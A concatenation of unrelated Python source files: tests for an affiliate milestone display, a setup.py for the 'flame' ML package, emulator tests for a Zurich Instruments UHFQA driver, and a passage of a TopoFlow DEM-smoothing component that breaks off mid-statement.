self.user.metric_total = Mock(return_value=6) self.display.surrounding_milestones.return_value = (5, 10) self.display.close_to_milestone.return_value = False with patch('affiliates.base.milestones.date_yesterday') as date_yesterday: milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (date_yesterday.return_value, 'total_next_milestone_6_4')) def test_metric_milestone_no_previous(self): """ If there is no previous milestone, and we know what the next one is, return yesterday's date with the total_next_milestone message. """ # (last_milestone == None) = No milestones achieved yet. self.user.metric_aggregate_total = Mock(return_value=3) self.user.metric_total = Mock(return_value=3) self.display.surrounding_milestones.return_value = (None, 5) self.display.close_to_milestone.return_value = False with patch('affiliates.base.milestones.date_yesterday') as date_yesterday: milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (date_yesterday.return_value, 'total_next_milestone_3_2')) def test_metric_milestone_no_milestone(self): """ If the user has hit all the milestones, and we don't know the date of the last milestone they hit, return yesterday's date with the total_no_milestone message. """ self.user.metric_aggregate_total = Mock(return_value=100) self.user.metric_total = Mock(return_value=110) self.display.surrounding_milestones.return_value = (50, None) self.display.close_to_milestone.return_value = False with patch('affiliates.base.milestones.date_yesterday') as date_yesterday: milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (date_yesterday.return_value, 'total_no_milestone_110')) def test_creation_milestone_no_links(self): """ If the user hasn't created any links, return a future date with the nothing_yet message. """ milestone = self.display.creation_milestone(TextBanner, self.messages) # creation_milestone doesn't format the nothing_yet message. eq_(milestone, (self.display.future_date, 'nothing_yet_{0}')) def test_creation_milestone_close_to_next_milestone(self): """ If the user is within 1 link of the next milestone, return yesterday's date with the close_to_milestone message. """ variation = TextBannerVariationFactory.create() LinkFactory.create_batch(2, banner_variation=variation, user=self.user) self.display.surrounding_milestones.return_value = (None, 3) with patch('affiliates.base.milestones.date_yesterday') as date_yesterday: milestone = self.display.creation_milestone(TextBanner, self.messages) eq_(milestone, (date_yesterday.return_value, 'close_to_milestone_3')) self.display.surrounding_milestones.assert_called_with( 2, self.display.creation_milestones) def test_creation_milestone_far_from_next_milestone(self): """ If the user isn't close to the next milestone, show the date of their last milestone. """ variation = TextBannerVariationFactory.create() links = LinkFactory.create_batch(4, banner_variation=variation, user=self.user) links[0].created = aware_datetime(2014, 1, 1, 5) links[1].created = aware_datetime(2014, 1, 1, 8) links[2].created = aware_datetime(2014, 1, 2, 5) # Winner! links[3].created = aware_datetime(2014, 1, 3, 5) for link in links: link.save() self.display.surrounding_milestones.return_value = (3, 10) milestone = self.display.creation_milestone(TextBanner, self.messages) eq_(milestone, (aware_date(2014, 1, 2), 'achieved_milestone_3')) def test_creation_milestone_no_next_milestone(self): """ If there is no next milestone, show the date of their last milestone. """ variation = TextBannerVariationFactory.create() links = LinkFactory.create_batch(4, banner_variation=variation, user=self.user) links[0].created = aware_datetime(2014, 1, 1, 5) links[1].created = aware_datetime(2014, 1, 1, 8) links[2].created = aware_datetime(2014, 1, 2, 5) # Winner! links[3].created = aware_datetime(2014, 1, 3, 5) for link in links: link.save() self.display.surrounding_milestones.return_value = (3, None) milestone = self.display.creation_milestone(TextBanner, self.messages) eq_(milestone, (aware_date(2014, 1, 2), 'achieved_milestone_3')) def test_creation_milestone_no_previous_links_created(self): """ If there is no previous milestone, but the user has created at least one link (which is normally impossible, as the default milestones start at 1), show when their last link was created. """ variation = TextBannerVariationFactory.create() links = LinkFactory.create_batch(2, banner_variation=variation, user=self.user) links[0].created = aware_datetime(2014, 1, 1, 5) links[1].created = aware_datetime(2014, 1, 2, 8) for link in links: link.save() self.display.surrounding_milestones.return_value = (None, 5) milestone = self.display.creation_milestone(TextBanner, self.messages) eq_(milestone, (aware_date(2014, 1, 2), 'link_created')) def _milestone(*args, **kwargs): return aware_date(*args, **kwargs), 'milestone' class MilestoneDisplayUtilTests(TestCase): def test_milestone_date(self): user = UserFactory.create() display = MilestoneDisplay(user) DataPointFactory.create(link_clicks=4, date=aware_date(2014, 1, 1), link__user=user) DataPointFactory.create(link_clicks=3, date=aware_date(2014, 1, 2), link__user=user) DataPointFactory.create(link_clicks=2, date=aware_date(2014, 1, 3), link__user=user) eq_(display.milestone_date('link_clicks', 10, 4), aware_date(2014, 1, 2)) def test_milestone_date_invalid_metric(self): """ If an invalid metric name is given, raise an AttributeError. """ user = UserFactory.create() display = MilestoneDisplay(user) DataPointFactory.create(link_clicks=4, date=aware_date(2014, 1, 1), link__user=user) with self.assertRaises(AttributeError): display.milestone_date('invalid', 2, 1) def test_milestone_date_not_reached(self): """ If the milestone hasn't been reached by the user, return None. """ user = UserFactory.create() display = MilestoneDisplay(user) DataPointFactory.create(link_clicks=4, date=aware_date(2014, 1, 1), link__user=user) eq_(display.milestone_date('link_clicks', 8, 2), None) def test_milestone_cmp_two_dates(self): """ If both values being compared are dates, return the day difference between them. """ eq_(MilestoneDisplay.milestone_cmp(_milestone(2014, 1, 3), _milestone(2014, 1, 1)), -2) eq_(MilestoneDisplay.milestone_cmp(_milestone(2014, 1, 1), _milestone(2014, 1, 1)), 0) eq_(MilestoneDisplay.milestone_cmp(_milestone(2014, 1, 1), _milestone(2014, 1, 3)), 2) def test_milestone_cmp_future_dates(self): """ Future dates should be considered less than normal dates and equal to other future dates. """ future_milestone = (MilestoneDisplay.future_date, 'future milestone') eq_(MilestoneDisplay.milestone_cmp(future_milestone, _milestone(2014, 1, 1)), -1) eq_(MilestoneDisplay.milestone_cmp(_milestone(2014, 1, 1), future_milestone), 1) eq_(MilestoneDisplay.milestone_cmp(future_milestone, future_milestone), 0) def test_surrounding_milestones(self): eq_(MilestoneDisplay.surrounding_milestones(5, [1, 3, 4, 6, 7]), (4, 6)) def test_surrounding_milestones_first_next(self): """ If the amount is smaller than all the milestones, return None for the previous milestone. """ eq_(MilestoneDisplay.surrounding_milestones(5, [8, 10, 15]), (None, 8)) def test_surrounding_milestones_last_prev(self): """ If the amount is greater than all the milestones, return None for the next milestone. """ eq_(MilestoneDisplay.surrounding_milestones(25, [8, 10, 15]), (15, None)) def test_surrounding_milestones_equal(self): """ If the amount is equal to one of the milestones, return that amount as the previous milestone. """ eq_(MilestoneDisplay.surrounding_milestones(5, [3, 5, 8, 10, 15]), (5, 8)) def test_close_to_milestone(self): ok_(MilestoneDisplay.close_to_milestone(9, 10)) ok_(MilestoneDisplay.close_to_milestone(45, 48)) ok_(not MilestoneDisplay.close_to_milestone(4, 10)) def test_close_to_milestone_none(self): """If the given milestone is None, return False.""" ok_(not MilestoneDisplay.close_to_milestone(55, None)) justaugustus/flame # Copyright (c) 2021 Cisco Systems, Inc. and its affiliates # All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Package setup script.""" from setuptools import find_packages, setup setup( name='flame', version='0.0.7', author='', author_email='', include_package_data=True, packages=find_packages(), # TODO: remove data_files later as it is not essential data_files=[('flame/examples/hier_mnist/top_aggregator', ['flame/examples/hier_mnist/top_aggregator/config.json']), ('flame/examples/hier_mnist/middle_aggregator', [ 'flame/examples/hier_mnist/middle_aggregator/config_uk.json', 'flame/examples/hier_mnist/middle_aggregator/config_us.json' ]), ('flame/examples/hier_mnist/trainer', [ 'flame/examples/hier_mnist/trainer/config_uk.json', 'flame/examples/hier_mnist/trainer/config_us.json' ]), ('flame/examples/mnist/aggregator', ['flame/examples/mnist/aggregator/config.json']), ('flame/examples/mnist/trainer', ['flame/examples/mnist/trainer/config.json']), ('flame/examples/simple/bar', ['flame/examples/simple/bar/config.json']), ('flame/examples/simple/foo', ['flame/examples/simple/foo/config.json'])], scripts=['scripts/flame-config'], url='https://github.com/cisco-open/flame/', license='LICENSE.txt', description="This package is a python library" " to run ML workloads in the flame system", long_description=open('README.md').read(), install_requires=[ 'boto3', 'cloudpickle', 'diskcache', 'mlflow', 'paho-mqtt' ]) import io import unittest import contextlib import numpy as np import pycqed.instrument_drivers.physical_instruments.ZurichInstruments.UHFQA_core as UHF class Test_UHFQA_core(unittest.TestCase): @classmethod def setup_class(cls): cls.uhf = UHF.UHFQA_core(name='MOCK_UHF', server='emulator', device='dev2109', interface='1GbE') cls.uhf.reset_waveforms_zeros() @classmethod def teardown_class(cls): cls.uhf.close() def test_instantiation(self): self.assertEqual(Test_UHFQA_core.uhf.devname, 'dev2109') def test_assure_ext_clock(self): self.uhf.assure_ext_clock() self.assertEqual(self.uhf.system_extclk(), 1) def test_clock_freq(self): self.assertEqual(self.uhf.clock_freq(), 1.8e9) def test_load_default_settings(self): self.uhf.load_default_settings() self.assertEqual(self.uhf.download_crosstalk_matrix().tolist(), np.eye(10).tolist()) def test_print_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_overview() f.seek(0) self.assertIn('Crosstalk overview', f.read()) def test_print_correlation_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_correlation_overview() f.seek(0) self.assertIn('Correlations overview', f.read()) def test_print_deskew_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_deskew_overview() f.seek(0) self.assertIn('Deskew overview', f.read()) def test_print_crosstalk_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_crosstalk_overview() f.seek(0) self.assertIn('Crosstalk overview', f.read()) def test_print_integration_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_integration_overview() f.seek(0) self.assertIn('Integration overview', f.read()) def test_print_rotations_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_rotations_overview() f.seek(0) self.assertIn('Rotations overview', f.read()) def test_print_thresholds_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_thresholds_overview() f.seek(0) self.assertIn('Thresholds overview', f.read()) def test_print_user_regs_overview(self): f = io.StringIO() with contextlib.redirect_stdout(f): self.uhf.print_user_regs_overview() f.seek(0) self.assertIn('User registers overview', f.read()) def test_crosstalk_matrix(self): mat = np.random.random((10, 10)) self.uhf.upload_crosstalk_matrix(mat) new_mat = self.uhf.download_crosstalk_matrix() assert np.allclose(mat, new_mat) def test_reset_crosstalk_matrix(self): mat = np.random.random((10, 10)) self.uhf.upload_crosstalk_matrix(mat) self.uhf.reset_crosstalk_matrix() reset_mat = self.uhf.download_crosstalk_matrix() assert np.allclose(np.eye(10), reset_mat) def test_reset_acquisition_params(self): for i in range(16): self.uhf.set(f'awgs_0_userregs_{i}', i) self.uhf.reset_acquisition_params() values = [self.uhf.get(f'awgs_0_userregs_{i}') for i in range(16)] assert values == [0]*16 def test_correlation_settings(self): self.uhf.qas_0_correlations_5_enable(1) self.uhf.qas_0_correlations_5_source(3) assert self.uhf.qas_0_correlations_5_enable() == 1 assert self.uhf.qas_0_correlations_5_source() == 3 def test_thresholds_correlation_settings(self): self.uhf.qas_0_thresholds_5_correlation_enable(1) self.uhf.qas_0_thresholds_5_correlation_source(3) assert self.uhf.qas_0_thresholds_5_correlation_enable() == 1 assert self.uhf.qas_0_thresholds_5_correlation_source() == 3 def test_reset_correlation_settings(self): self.uhf.qas_0_correlations_5_enable(1) self.uhf.qas_0_correlations_5_source(3) self.uhf.qas_0_thresholds_5_correlation_enable(1) self.uhf.qas_0_thresholds_5_correlation_source(3) self.uhf.reset_correlation_params() assert self.uhf.qas_0_correlations_5_enable() == 0 assert self.uhf.qas_0_correlations_5_source() == 0 assert self.uhf.qas_0_thresholds_5_correlation_enable() == 0 assert self.uhf.qas_0_thresholds_5_correlation_source() == 0 def test_reset_rotation_params(self): self.uhf.qas_0_rotations_3(1-1j) assert self.uhf.qas_0_rotations_3() == (1-1j) self.uhf.reset_rotation_params() assert self.uhf.qas_0_rotations_3() == (1+1j) def test_start(self): self.uhf.start() #------------------------------------------------------------------- # Note: We can now compute a new D8 flow grid and area grid for # the new DEM and repeat this process until the flow grid # no longer changes. Need to use d8_global.py (which # computes flow and area grids; used by Erode) instead of # tf_d8_base.py as done here. The result will be a DEM that # satisfies Flint's law exactly. For steady-state rainfall, # it will also satisfy a slope-discharge power law exactly. # We can then use this tool to explore how the network # topology and geometry change as we vary c and p. # # Note that if S = c * A^p, Q = R * A, w = w1 * Q^b, and # q = q1 * S^gamma, then we have: # p = (1 - b)/gamma # c = [R^(1-b) / (w1 * q1)]^(1/gamma) # If b = 1/2 and gamma = -1, then p = -1/2. # #------------------------------------------------------------------- import numpy as np import os import scipy.optimize from topoflow.components import d8_global from topoflow.utils import cfg_files as cfg from topoflow.utils import BMI_base from topoflow.utils import file_utils # (for count_lines()) from topoflow.utils import model_output from topoflow.utils import rtg_files from topoflow.utils import rti_files # import matplotlib.pyplot #------------------------------------------------------------------------- # smooth_DEM.py # # Copyright (c) 2005-2012, # Created: May 2004 # Modified: Jul-Aug 2005 # Converted from IDL to Python: July 2010 # Worked on: read_profile_data() and find_best_fit_c_and_p(). (1/18/12) # Updated: Aug. 2018 # #------------------------------------------------------------------------- # # unit_test() # curve_fit_test() # # class DEM_smoother # # get_component_name() # get_attribute() # set_constants() # initialize() # update() # finalize() # ---------------------- # get_gui_info() # get_cfg_extension() # build_filenames() ##### OSBOLETE SOON # initialize_d8_vars() # ---------------------- # update_d8_vars() # update_slopes() (Step 3) # update_DEM() (Step 4) # ------------------------ # read_profile_data() (Step 1) # find_best_fit_c_and_p() (Step 2) # ------------------------ # open_input_files() # read_input_files() # close_input_files() # ------------------------ # update_outfile_names() # open_output_files() # write_output_files # close_output_files() # save_grids() # save_pixel_values() # #------------------------------------------------------------------------- def unit_test(): c = DEM_smoother() # c.CCA = False c.DEBUG = True ## # cfg_directory = '/data/sims/erode/small_ky/' ## cfg_directory = 'Applications/Erode/Data/Small_KY/' ## cfg_prefix = 'Case1' ## c.site_prefix = 'Small' cfg_directory = '/home/csdms/models/erode/0.5/share/data/KY_Sub/' # cfg_directory = 'Applications/Erode/Data/KY_Sub/' cfg_prefix = 'Smooth1' ### 'Case1' c.site_prefix = 'KY_Sub' #-------------------------------------------- # Note: n_steps must be read from CFG file; # setting it here gets over-ridden. #-------------------------------------------- c.run_model(cfg_directory=cfg_directory, cfg_prefix=cfg_prefix) ## c.initialize() ## c.update() # unit_test() #------------------------------------------------------------------------- def curve_fit_test(): #------------------------------------------------------------ # Notes: This test function shows that the function: # find_best_fit_c_and_p() works, but typically # does not give the p-value to high accuracy. #------------------------------------------------------------ #------------------------ # Starting on a divide # and moving downstream #------------------------ #** x0 = 0.001 # (IDL: doesn't converge) #** x0 = 0.01 # (IDL: doesn't converge) #** x0 = 0.1 # (IDL: converges; large stderr) x0 = float64(1) x = arange(100, dtype='float64') + x0 # (distance [km]; NB! x[0]=x0) xmin = x.min() xmax = x.max() Amax = float64(625) # [km^2] ca = Amax / xmax ** float64(2) # [unitless] A = ca * x ** 2 # (area [km^2]) #-------------------------------- # If eps is small, then expect: # p = (b - 1)/2 or b = (1 + 2p) #-------------------------------- #b = -1.0d ;(p = -1.00) #b = -0.9d ;(p = -0.95) #b = -0.7d ;(p = -0.85) #b = -0.5d ;(p = -0.75) b = -float64(0.3) #(p = -0.65) ;(closest to actual for KY_Sub?) #b = -0.1d ;(p = -0.55) #------------------------------------------ # Make sure that z[x0] = z0. Note that # if x0=0, then alog(0) will occur in fit # and fitting procedure will fail. #------------------------------------------ z0 = np.float64(600) z = z0 * (x - x0 + float64(1)) ** b # (elevation [meters]) #** eps = 1e-6 #** z = z0 * (x + eps)^b ;(elevation [meters]) #** z = z / (1d + eps)^b ;(so that z[0] = z0) #** z = -1d * 0.01d * alog(x + 1d) ;(elevation [meters]) #--------------------------------- # Doesn't perform well for these #--------------------------------- #** z = 600d - (5.9d * x^2d) #** z = 600d - (5.9d * x^0.5) #** z = 600d - (5.9d * x) #------------------------------------ # Reverse the vectors so that we # start at outlet and move upstream #----------------------------------------------------------- # Must use FLIPUD(x) vs. ROT90(x,-2) to reverse 1D arrays. #----------------------------------------------------------- x2 = np.flipud( x ) A2 = np.flipud( A ) z2 = np.flipud( z ) #-------------------------- # Find the best-fit curve #-------------------------- c, p = best_slope_area_curve_fit( A2, z2 ) print('best-fit c =', c) print('best-fit p =', p) #----------------------------------- zfit = slope_area_function( A, c, p ) # (z0 and ds via "data") print('zfit[0] = ', zfit[0]) #---------------------------------- # Print expected curve-fit values #---------------------------------- pe = (b - float64(1)) / float64(2) ce = absolute((z0 * b) / (ca ** pe)) #(abs since S>0 by convention) print('ce =', ce) print('pe =', pe) print(' ') #--------------------------- # Create a plot to compare # fitted curve to original #--------------------------- ## matplotlib.pyplot.figure(1, figsize=(800/80.0, 600/80.0), dpi=80) ## matplotlib.pyplot.show() ## loadct(39, silent=True) ##### ## black = int16(0) ## white = int16(255) ## red = int16(220) ## matplotlib.pyplot.plot(x2, z2, color='k') ## matplotlib.pyplot.axes(axisbg='w') ## matplotlib.pyplot.show() ## oplot(x2, yfit, psym=-1, color=red) #### # curve_fit_test() #------------------------------------------------------------------------- class DEM_smoother( BMI_base.BMI_component ): #------------------------------------------------------------------- def get_component_name(self): return 'TopoFlow_DEM_Smoother' # get_component_name() #----------------------------------------------------------------- # Note: Do not define an __init__() method here. It will # override things needed from CSDMS_base.__init__() #------------------------------------------------------------------- def get_attribute(self, att_name): map = {'comp_name': 'DEMSmoother', 'version': '0.5', 'model_name': 'DEM_Smoother', 'model_family': 'Erode', 'cfg_template_file': 'DEM_Smoother.cfg.in', 'cfg_extension': '_dem_smoother.cfg', 'cmt_var_prefix': '/DEMSmoother/Input/Var/', 'gui_xml_file': '/home/csdms/cca/erode/0.5/src/share/cmt/gui/DEM_Smoother.xml', 'dialog_title': 'DEM Profile Smoother Parameters', 'time_step_type': 'fixed', 'time_units': 'years', 'mesh_type': 'uniform', 'author_name': ''} try: return map[ att_name.lower() ] except: print('###################################################') print(' ERROR: Could not find attribute: ' + att_name) print('###################################################') print(' ') # get_attribute() #------------------------------------------------------------------- def set_constants(self): self.nodata = np.float32(-9999) #---------------------------------------------- # Maybe set constants "c" and "p" this way ?? # Or maybe read them as input parameters ?? #---------------------------------------------- ## self.read_profile_data() ## self.find_best_fit_c_and_p() # set_constants() #------------------------------------------------------------------- def initialize(self, cfg_file=None, mode="nondriver", SILENT=False): self.SILENT = SILENT self.comp_name = 'DEM Smoother component' if not(self.SILENT): print(' ') print(self.comp_name + ': Initializing...') self.status = 'initializing' # (OpenMI 2.0 convention) self.mode = mode self.cfg_file = cfg_file #----------------------------------------------- # Load component parameters from a config file #----------------------------------------------- self.set_constants() self.initialize_config_vars() # self.build_filenames() ########## # self.read_grid_info() # NOW IN initialize_config_vars() self.initialize_basin_vars() #----------------------------------------- # This must come before "Disabled" test. #----------------------------------------- self.initialize_time_vars() #------------------------------------------------ # Append in_directory to input files. (1/17/12) #------------------------------------------------ self.DEM_file = self.in_directory + self.DEM_file self.profile_file = self.in_directory + self.profile_file #---------------------------------------------- # Maybe set constants "c" and "p" this way ?? # Or maybe read them as input parameters ?? #---------------------------------------------- if (self.FIT_C_AND_P): if not(self.SILENT): print('Finding best-fit c and p from:') print(' ' + self.profile_file) self.read_profile_data() self.find_best_fit_c_and_p() #---------------------------------- # Has component been turned off ? #---------------------------------- if (self.comp_status == 'Disabled'): if not(self.SILENT): print(self.comp_name + ': Disabled in CFG file.') self.DONE = True self.status = 'initialized' # (OpenMI 2.0 convention) return else: self.DONE = False #--------------------------------------------- # Open input files needed to initialize vars #--------------------------------------------- # Can't move read_input_files() to start of # update(), since initial values needed here. #--------------------------------------------- self.open_input_files() self.read_input_files() #----------------------- # Initialize variables #----------------------- self.initialize_d8_vars() # (depend on D8 flow grid) # self.initialize_computed_vars() self.open_output_files() self.status = 'initialized' # (OpenMI 2.0 convention) # initialize() #------------------------------------------------------------------- def update(self, time_seconds=None): #--------------------------------------------- # Note that u and d from previous time step # must be used on RHS of the equations here. #--------------------------------------------- self.status = 'updating' # (OpenMI 2.0 convention) ## if (self.mode == 'driver'): ## self.print_time_and_value(self.Q_outlet, 'Q_out', '[m^3/s]') # self.print_time_and_value(self.Q_outlet, 'Q_out', '[m^3/s]') #------------------------- # Update computed values #------------------------- self.update_d8_vars() # (compute new D8 flow and area grids) self.update_slopes() # (compute new slopes from D8 areas) self.update_DEM() #------------------------------------------- # Read from files as needed to update vars #-------------------------------------------------------- # NB! This is currently not needed because values don't # change over time and read_input_files() is called by # initialize(). #-------------------------------------------------------- # if (self.time_index > 0): # self.read_input_files() #------------------------------------------------------ # Update internal clock *before* write_output_files() # because we're going to save original DEM, too, with # a time of zero. #------------------------------------------------------ self.update_time() #---------------------------------------------- # Write user-specified data to output files ? #---------------------------------------------- self.write_output_files( time_seconds ) ### self.update_time() # (after write_output_files() OK = True ##### (can be used for some test) if (OK): self.status = 'updated' # (OpenMI 2.0 convention) else: self.status = 'failed' self.DONE = True # update() #------------------------------------------------------------------- def finalize(self): self.status = 'finalizing' # (OpenMI) self.close_input_files() ## TopoFlow input "data streams" self.close_output_files() self.status = 'finalized' # (OpenMI) if not(self.SILENT): print('(c, p) = ' + str(self.c) + ', ' + str(self.p)) print(' ') self.print_final_report(comp_name=self.comp_name) # finalize() #------------------------------------------------------------------- ## def build_filenames(self): ## ## #-------------------------------------------------------- ## # Note: These could all be read from an input file, or ## # we could just prompt for prefix and new_prefix. ## #-------------------------------------------------------- ## if (hasattr(self, 'site_prefix')): ## prefix = self.site_prefix ## self.DEM_file = prefix + '_DEM.rtg' ## else: ## prefix, extension = file_utils.get_prefix_and_extension( self.DEM_file ) ## ## #-------------------------------------------- ## # Build input filenames from site_prefix ?? ## #-------------------------------------------- #### if (self.DEM_file == None): #### self.DEM_file = prefix + '_DEM.rtg' ## ## #################################### ## self.profile_file = None ## self.area_file = None ## self.flow_file = None ## self.new_DEM_file = None ## self.new_RTI_file = None ## self.new_slope_file = None ## self.new_rawDEM_file = None ## self.new_flow_file = None ## #################################### ## ## if (self.profile_file == None): ## self.profile_file = prefix + '_prof1.txt' ## ## if (self.area_file == None): ## self.area_file = prefix + '_area.rtg' ## #---------------------------------------------------- ## # D-infinity areas may not be monotonic increasing, ## # and then the slopes won't decrease downstream. ## #---------------------------------------------------- ## ### area_file = prefix + '_dinf-area.rtg' ## ## if (self.flow_file == None): ## self.flow_file = prefix + '_flow.rtg' ## ## #---------------------------------------------- ## # Build output filenames from site_prefix ?? ## #---------------------------------------------- ## new_prefix = (prefix + '2') ##### ## if (self.new_DEM_file == None): ## self.new_DEM_file = new_prefix + '_DEM.rtg' ## ## if (self.new_RTI_file == None): ## self.new_RTI_file = new_prefix + '.rti' ## ## if (self.new_slope_file == None): ## self.new_slope_file = new_prefix + '_slope.rtg' ## ## if (self.new_rawDEM_file == None): ## self.new_rawDEM_file = new_prefix + '_rawDEM.rtg' ## ## if (self.new_flow_file == None): ## self.new_flow_file = new_prefix + '_flow.rtg' ## ## # build_filenames() #------------------------------------------------------------------- def initialize_d8_vars(self): #--------------------------------------------- # Compute and store a variety of (static) D8 # flow grid variables. Embed structure into # the current component. #--------------------------------------------- self.d8 = d8_global.d8_component() self.d8.DEBUG = False # (make sure self tests are OFF) ################################################ # (5/13/10) Do next lines here for now, until # the d8 cfg_file includes site prefix. # Same is done in GW_base.py. ################################################ # (1/17/12) Note that d8_base.py now has a new # method called: set_default_config_vars() # that is used to intialize vars in cases # where there is no "*_d8_global.cfg" file. # It is called in d8.initialize(). ################################################ self.d8.DEM_file = self.DEM_file # (1/17/12) in_directory already prepended? self.d8.FILL_PITS_IN_Z0 = 0 # (1/17/12) self.d8.A_units = 'km^2' # (1/17/12) May be needed. #-------------------------------------------------- # D8 component builds its cfg filename from these #-------------------------------------------------- self.d8.site_prefix = self.site_prefix self.d8.case_prefix = self.case_prefix ## (07/12/18) self.d8.in_directory = self.in_directory self.d8.initialize( cfg_file=None, SILENT=self.SILENT, REPORT=self.REPORT ) #--------------------------------------------------------- # Need "A_units" to be km^2 to compare to RT area grid # so override setting in the CFG file, needed for Erode. #--------------------------------------------------------- ## if (self.DEBUG): ## self.d8.A_units = 'km^2' ##### # initialize_d8_vars() #------------------------------------------------------------------- def update_d8_vars(self, SILENT=True, REPORT=False, SAVE_RTG=False): #--------------------------------------------- # Update the D8 flow grid and all vars that # depend on it, including D8 area grid. #--------------------------------------------- # Area grid units are either 'm^2' or 'km^2' # based on a setting in "*_d8.cfg" file. # All length units are given in meters. #--------------------------------------------- # d8.update() needs a depression-filled DEM # and can later get it from a CCA port. #--------------------------------------------- self.d8.update( self.time, DEM=self.DEM, SILENT=SILENT, REPORT=REPORT ) #----------------------------- # Save grid as an RTG file ? #----------------------------- if (SAVE_RTG): d8_file = (self.case_prefix + '_flow.rtg') rtg_files.write_grid( self.d8.d8_grid, d8_file, self.rti, RTG_type='BYTE') area_file = (self.case_prefix + '_area.rtg') rtg_files.write_grid( self.d8.A, area_file, self.rti) # update_d8_vars() #------------------------------------------------------------------------- def update_slopes(self): Amin = np.nanmin( self.d8.A ) Amax = np.nanmax( self.d8.A ) print('Min(A), Max(A) = ', Amin, ', ', Amax) #------------------------------------------- # Compute new slope grid from D8 area grid # using best-fit Flint's law parameters. #------------------------------------------- # S[0]=0 and S[Inf]=0 # Smax = (1-exp(-1)) * Ah^p * c #----------------------------------- #---------------------------------------------------- # Idea to produce convex hilltops at Ah = hillslope # scale. Otherwise get singularity at A=0. #---------------------------------------------------- # self.S = self.c * (A**self.p) * (1.0 - exp(-A/Ah)) #------------------------------------------- # Raising zero to a negative power produces # a "divide by zero" error message. # Also can't use "float64" for S. #------------------------------------------- ## self.S = self.c * (self.d8.A ** self.p) self.S = np.zeros( self.d8.A.shape, dtype='float32') wpos = where( self.d8.A > 0 ) if (wpos[0].size > 0): self.S[wpos] = self.c * (self.d8.A[wpos] ** self.p) wneg = where (self.d8.A <= 0 ) if (wneg[0].size > 0): self.S[wneg] = 0 #---------------------------------------------------------- # Note: These should match the slopes computed from the # D8 area grid using Flint's law, but remember that # we're using the original D8 flow directions which # may not be strictly valid for the new DEM. #---------------------------------------------------------- ## dz = (self.new_DEM - self.new_DEM.flat[ self.d8.parent_ID_grid ]) ## self.S = (dz / self.d8.ds) # update_slopes() #------------------------------------------------------------------------- def update_DEM(self): #------------------------------------------------------------------ # NOTES: This routine uses a slope-area relationship, an area # grid and a D8 flow grid to create a new, smoother DEM # from an old one. The reason for wanting to do some- # thing like this is that slopes in channels are very # poorly resolved by local methods, even though slopes # on hillslopes can be computed reasonably well. # It operates on a principle of "raster recursion" and # should be adaptable to the computation of other # recursively-defined quantities. That is, it: # (1) initializes the raster file, and # (2) makes several passes through the file (line by # line), looking for pixels whose _parent_ has a # known value, and # (3) assigns these pixels a value which is determined # from the value of the parent. # # Note that self.d8.ds has units of meters. #------------------------------------------------------------------ # # This routine is based on the one used to compute flow # distances to a set of masked pixels (e.g. pixels with # undefined flow codes.) They use a type of raster recursion, # but unlike most others, they work upstream, from parents to # their kids, instead of downstream from kids to parent pixels. # #------------------------------------------------------------------ info = self.rti ## info = rti_files.read_info( self.DEM_file ) nx = info.ncols ny = info.nrows ## byte_order = info.byte_order #-------------------------------------------- # Read the DEM, area and D8 flow code grids #-------------------------------------------- # self.DEM = rtg_files.read_grid( DEM_file, info, RTG_type=info.data_type ) # self.areas = rtg_files.read_grid( area_file, info, RTG_type='FLOAT' ) # self.codes = rtg_files.read_grid( flow_file, info, RTG_type='BYTE' ) #---------------------------------------------- # Get a where-style tuple of parent pixel IDs #------------------------------------------------------- # Find the pixels that flow to a nodata or edge pixel; # the parents of these pixels have a flow code of 0. #------------------------------------------------------- pIDs = self.d8.parent_IDs # (where-style tuple) parent_codes = self.d8.d8_grid[ pIDs ] w = np.where(parent_codes == 0) nw = w[0].size # (much faster) ## nw = np.size( w[0] ) #--------------------------------------------- # OLD METHOD that can't handle nodata pixels #--------------------------------------------- ## w = where(codes == 0) ## w = where(logical_and(codes == 0, DEM > self.nodata) ) ## nw = w[0].size #-------------------------------------- # Are there any pixels to work with ? #-------------------------------------- if (nw == 0): print('ERROR: ') print('No pixels to initialize iteration.') print(' ') return #------------------------------------------------- # Initialize values in new DEM to be same as in # old DEM for pixels whose parent flow code = 0 # and nodata value otherwise #------------------------------------------------- self.DEM = zeros([ny, nx], dtype='float32') + self.nodata self.DEM[ w ] = self.z0[ w ] #---------------------------------------------------------------- self.flow_dist = zeros([ny, nx], dtype='float32') + self.nodata self.flow_dist[ w ] = 0 #---------------------------------------------------------------- n_reps = np.int32(0) DONE = False #------------------------------------------ # Iteratively assign new elevation values #------------------------------------------ while True: STILL_ACTIVE = False IDs = where( self.DEM == self.nodata ) # (tuple) n_IDs = IDs[0].size ## n_IDs = np.size(IDs[0]) # (much slower) n_reps += 1 if (n_IDs != 0): #------------------------------------- # Get elevations of D8 parent pixels #------------------------------------- ## dvals = self.d8.d8_grid[ IDs ] # (not needed) pIDs = self.d8.parent_ID_grid[ IDs ] p_elev = self.DEM.flat[ pIDs ] p_dist = self.flow_dist.flat[ pIDs ] #### #------------------------------------- # If D8 parent elevation is known, # then assign elevations to D8 kids. #------------------------------------- wp = where( p_elev != self.nodata ) n_assigned = wp[0].size # (much faster) ## n_assigned = size(wp[0]) # (much slower) if (n_assigned != 0): #---------------------------------------------- # Get "calendar-style" indices of "ready IDs" #---------------------------------------------- ID_rows = IDs[0] ID_cols = IDs[1] ID_vals = (ID_rows * nx) + ID_cols ready_IDs = ID_vals[ wp ] #-------------------------------- # Compute new slopes from areas #-------------------------------- S_vals = self.S.flat[ ready_IDs ] #-------------------------------------- # Get upstream areas of parent's kids # and compute new slopes from areas #-------------------------------------- #### Avals = 